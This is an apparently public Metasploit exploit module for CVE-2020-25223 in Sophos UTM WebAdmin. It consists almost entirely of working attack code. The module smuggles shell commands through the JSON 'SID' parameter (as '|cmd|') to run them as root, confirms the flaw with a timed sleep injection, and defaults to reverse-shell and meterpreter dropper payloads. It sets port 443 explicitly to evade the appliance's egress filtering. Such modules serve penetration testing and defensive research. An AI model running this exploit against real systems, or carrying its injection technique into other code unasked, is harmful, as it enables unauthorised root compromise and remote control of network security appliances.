Sophos UTM WebAdmin SID Command Injection

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/stopwatch'

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Sophos UTM WebAdmin SID Command Injection',
        'Description' => %q{
          This module exploits an SID-based command injection in Sophos UTM's
          WebAdmin interface to execute shell commands as the root user.
        },
        'Author' => [
          # Discovered by unknown researcher(s)
          'Justin Kennedy', # Analysis and PoC
          'wvu' # Supplementary analysis and exploit
        ],
        'References' => [
          ['CVE', '2020-25223'],
          ['URL', 'https://www.sophos.com/en-us/security-advisories/sophos-sa-20200918-sg-webadmin-rce'],
          ['URL', 'https://www.atredis.com/blog/2021/8/18/sophos-utm-cve-2020-25223'],
          ['URL', 'https://attackerkb.com/assessments/d6e0dff3-dd46-4f19-831d-c3f3f2fa972a']
        ],
        'DisclosureDate' => '2020-09-18',
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => true,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_perl_ssl'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :dropper,
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 4444,
          'LPORT' => 443, # XXX: Bypass Sophos UTM's egress filtering
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [FIRST_ATTEMPT_FAIL],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def check
    sleep_time = rand(5..10)

    injected, elapsed_time = Rex::Stopwatch.elapsed_time do
      inject_cmd("sleep #{sleep_time}", timeout: sleep_time * 1.5)
    end

    return CheckCode::Unknown if injected.nil?

    vprint_status("Elapsed time: #{elapsed_time} seconds")

    # injected == false
    unless injected && elapsed_time > sleep_time
      return CheckCode::Safe('Failed to test command injection.')
    end

    # injected == true
    CheckCode::Appears('Successfully tested command injection.')
  end

  def exploit
    unless datastore['LPORT'] == 443
      print_warning('LPORT=443 is recommended to bypass egress filtering')
    end

    print_status("Executing #{payload_instance.refname} (#{target.name})")

    case target['Type']
    when :cmd
      execute_command(payload.encoded)
    when :dropper
      execute_cmdstager
    end
  end

  def execute_command(cmd, _opts = {})
    # nil or true on success
    if inject_cmd(cmd) == false
      fail_with(Failure::PayloadFailed, "Failed to execute command: #{cmd}")
    end
  end

  def inject_cmd(cmd, timeout: 3.5)
    vprint_status("Injecting command: #{cmd}")

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'var'),
      'ctype' => 'application/json; charset=UTF-8', # NOTE: charset is required
      'data' => {
        'SID' => "|#{cmd}|" # https://perldoc.perl.org/functions/open#Opening-a-filehandle-into-a-command
      }.to_json
    }, timeout)

    return unless res
    return false unless res.code == 200 && res.body.include?(alert_msg)

    true
  end

  def alert_msg
    # {"RID":"","objs":[{"js":"json_abort(true);"},{"alert":"Backend connection failed, please click Shift-Reload to try again."}]}
    'Backend connection failed, please click Shift-Reload to try again.'
  end

end